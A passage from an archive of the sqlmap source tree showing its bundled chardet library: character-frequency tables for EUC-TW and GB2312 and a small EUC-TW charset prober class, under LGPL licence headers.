223,3696,1359, # 6598 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 #Everything below is of no interest for detection purpose 2515,1613,4582,8119,3312,3866,2516,8120,4058,8121,1637,4059,2466,4583,3867,8122, # 8118 2493,3016,3734,8123,8124,2192,8125,8126,2162,8127,8128,8129,8130,8131,8132,8133, # 8134 8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,8144,8145,8146,8147,8148,8149, # 8150 8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,8160,8161,8162,8163,8164,8165, # 8166 8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181, # 8182 8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197, # 8198 8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213, # 8214 8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229, # 8230 8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245, # 8246 8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,8256,8257,8258,8259,8260,8261, # 8262 8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,8272,8273,8274,8275,8276,8277, # 8278 8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,8290,8291,8292,8293, # 8294 8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,8308,8309, # 8310 8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322,8323,8324,8325, # 8326 8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337,8338,8339,8340,8341, # 8342 8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353,8354,8355,8356,8357, # 8358 8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,8368,8369,8370,8371,8372,8373, # 8374 8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,8384,8385,8386,8387,8388,8389, # 8390 8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,8400,8401,8402,8403,8404,8405, # 8406 8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,8416,8417,8418,8419,8420,8421, # 8422 8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,8432,8433,8434,8435,8436,8437, # 8438 8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,8448,8449,8450,8451,8452,8453, # 8454 8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,8464,8465,8466,8467,8468,8469, # 8470 8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,8480,8481,8482,8483,8484,8485, # 8486 8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501, # 8502 8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517, # 8518 8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533, # 8534 8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549, # 8550 8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,8565, # 8566 8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,8576,8577,8578,8579,8580,8581, # 8582 8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597, # 8598 8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,8608,8609,8610,8611,8612,8613, # 8614 8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,8624,8625,8626,8627,8628,8629, # 8630 8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,8640,8641,8642,8643,8644,8645, # 8646 8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,8657,8658,8659,8660,8661, # 8662 8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672,8673,8674,8675,8676,8677, # 8678 8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,8688,8689,8690,8691,8692,8693, # 8694 8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,8704,8705,8706,8707,8708,8709, # 8710 8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,8720,8721,8722,8723,8724,8725, # 8726 8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739,8740,8741) # 8742 # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/euctwprober.py000066400000000000000000000032141326012263700215340ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCTWDistributionAnalysis from .mbcssm import EUCTWSMModel class EUCTWProber(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(EUCTWSMModel) self._mDistributionAnalyzer = EUCTWDistributionAnalysis() self.reset() def get_charset_name(self): return "EUC-TW" sqlmap-1.2.4/thirdparty/chardet/gb2312freq.py000066400000000000000000001062531326012263700207600ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # GB2312 most frequently used character table # # Char to FreqOrder table , from hz6763 # 512 --> 0.79 -- 0.79 # 1024 --> 0.92 -- 0.13 # 2048 --> 0.98 -- 0.06 # 6768 --> 1.00 -- 0.02 # # Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79 # Random Distribution Ration = 512 / (3755 - 512) = 0.157 # # Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9 GB2312_TABLE_SIZE = 3760 GB2312CharToFreqOrder = ( 1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, 2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, 2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670, 1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820, 1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585, 152,1687,1539, 738,1559, 59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566, 1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850, 70,3285,2729,3534,3575, 2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853, 3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061, 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155, 1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406, 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816, 2534,1546,2393,2760, 737,2494, 13, 447, 245,2747, 38,2765,2129,2589,1079, 606, 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023, 2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414, 1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513, 3195,4115,5627,2489,2991, 24,2065,2697,1087,2719, 48,1634, 315, 68, 985,2052, 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570, 1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575, 253,3099, 32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250, 2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506, 1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563, 26, 3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835, 1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686, 2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054, 1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894, 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105, 3777,3657, 643,2298,1148,1779, 190, 989,3544, 414, 11,2135,2063,2979,1471, 403, 3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694, 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873, 3651, 210, 33,1608,2516, 200,1520, 415, 102, 0,3389,1287, 817, 91,3299,2940, 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687, 20,1819, 121, 1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648, 3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992, 2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680, 72, 842,1990, 212,1233, 1154,1586, 75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157, 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807, 1910, 534, 529,3309,1721,1660, 274, 39,2827, 661,2670,1578, 925,3248,3815,1094, 4278,4901,4252, 41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258, 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478, 3568, 194,5062, 15, 961,3870,1241,1192,2664, 66,5215,3260,2111,1295,1127,2152, 3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426, 53,2909, 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272, 1272,2363, 284,1753,3679,4064,1695, 81, 815,2677,2757,2731,1386, 859, 500,4221, 2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252, 1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301, 1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254, 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070, 3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461, 3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640, 67,2360, 4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124, 296,3979,1739,1611,3684, 23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535, 3116, 17,1074, 467,2692,2201, 387,2922, 45,1326,3055,1645,3659,2817, 958, 243, 1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713, 1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071, 4046,3572,2399,1571,3281, 79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442, 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946, 814,4968,3487,1548,2644,1567,1285, 2, 295,2636, 97, 946,3576, 832, 141,4257, 3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180, 1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427, 602,1525,2608,1605,1639,3175, 694,3064, 10, 465, 76,2000,4846,4208, 444,3781, 1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724, 2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844, 89, 937, 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943, 432, 445,2811, 206,4136,1472, 730, 349, 73, 397,2802,2547, 998,1637,1167, 789, 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552, 3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246, 4996, 371,1575,2436,1621,2210, 984,4033,1734,2638, 16,4529, 663,2755,3255,1451, 3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310, 750,2058, 165, 80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860, 2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297, 2357, 395,3740, 137,2075, 944,4089,2584,1267,3802, 62,1533,2285, 178, 176, 780, 2440, 201,3707, 590, 478,1560,4354,2117,1075, 30, 74,4643,4004,1635,1441,2745, 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936, 2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032, 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669, 43,2523,1657, 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414, 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976, 3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436, 2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254, 2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024, 40,3240,1536, 1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238, 18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059, 2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741, 90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447, 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601, 1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269, 1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076, 46,4253,2873,1889,1894, 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173, 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994, 1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956, 2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437, 3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154, 2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240, 2269,2246,1446, 36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143, 2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634, 3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472, 1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906, 51, 369, 170,3541, 1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143, 2101,2730,2490, 82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312, 1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414, 3750,2289,2795, 813,3123,2610,1136,4368, 5,3391,4541,2174, 420, 429,1728, 754, 1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424, 1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302, 3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739, 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004, 2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484, 1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739, 4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535, 1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641, 1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307, 3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573, 1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533, 47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965, 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096, 99, 1397,1769,2300,4428,1643,3455,1978,1757,3718,1440, 35,4879,3742,1296,4228,2280, 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505, 1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012, 1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039, 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982, 3708, 135,2131, 87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530, 4314, 9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392, 3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656, 2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220, 2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766, 1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535, 3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728, 2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338, 1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627, 1505,1911,1883,3526, 698,3629,3456,1833,1431, 746, 77,1261,2017,2296,1977,1885, 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411, 2411,3135,1777,3372,2621,1841,1613,3229, 